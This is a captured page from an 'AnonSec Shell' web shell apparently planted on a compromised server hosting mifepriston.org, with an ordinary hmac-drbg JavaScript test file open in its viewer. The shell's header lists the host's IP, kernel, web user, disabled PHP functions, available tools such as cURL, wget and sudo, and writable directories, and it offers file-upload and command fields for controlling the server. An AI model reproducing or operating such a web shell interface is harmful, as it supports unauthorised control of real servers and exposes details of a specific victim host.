AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/wwwroot/mifepriston.org/node_modules/hmac-drbg/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/wwwroot/mifepriston.org/node_modules/hmac-drbg/test/drbg-test.js
'use strict';

const assert = require('assert');
const HmacDRBG = require('../');
const hash = require('hash.js');

describe('Hmac_DRBG', () => {
  it('should support hmac-drbg-sha256', () => {
    function doDrbg(opt) {
      const drbg = HmacDRBG({
        hash: hash.sha256,
        entropy: opt.entropy,
        entropyEnc: 'utf8',
        nonce: opt.nonce,
        nonceEnc: 'utf8',
        pers: opt.pers,
        persEnc: 'utf8'
      });
      return drbg.generate(opt.size, 'hex');
    }

    const test = [
      {
        entropy: 'totally random0123456789',
        nonce: 'secret nonce',
        pers: 'my drbg',
        size: 32,
        res: '018ec5f8e08c41e5ac974eb129ac297c5388ee1864324fa13d9b15cf98d9a157'
      },
      {
        entropy: 'totally random0123456789',
        nonce: 'secret nonce',
        pers: null,
        size: 32,
        res: 'ed5d61ecf0ef38258e62f03bbb49f19f2cd07ba5145a840d83b134d5963b3633'
      }
    ];
    for (let i = 0; i < test.length; i++)
      assert.equal(doDrbg(test[i]), test[i].res);
  });

  describe('NIST vector', function() {
    require('./fixtures/hmac-drbg-nist.json').forEach(function (opt) {
      it('should not fail at ' + opt.name, function() {
        const drbg = HmacDRBG({
          hash: hash.sha256,
          entropy: opt.entropy,
          nonce: opt.nonce,
          pers: opt.pers
        });

        let last;
        for (let i = 0; i < opt.add.length; i++) {
          let add = opt.add[i];
          last = drbg.generate(opt.expected.length / 2, 'hex', add);
        }
        assert.equal(last, opt.expected);
      });
    });
  });

  describe('reseeding', function() {
    it('should reseed', function() {
      const entropy = 'totally random string with many chars that I typed ' +
                      'in agony';
      const nonce = 'nonce';
      const pers = 'pers';

      const original = HmacDRBG({
        hash: hash.sha256,
        entropy,
        nonce,
        pers
      });
      const reseeded = HmacDRBG({
        hash: hash.sha256,
        entropy,
        nonce,
        pers
      });

      assert.strictEqual(original.generate(32, 'hex'),
                         reseeded.generate(32, 'hex'));

      reseeded.reseed('another absolutely random string');

      assert.notEqual(original.generate(32, 'hex'),
                      reseeded.generate(32, 'hex'));
    });
  });
});

Anon7 - 2022
AnonSec Team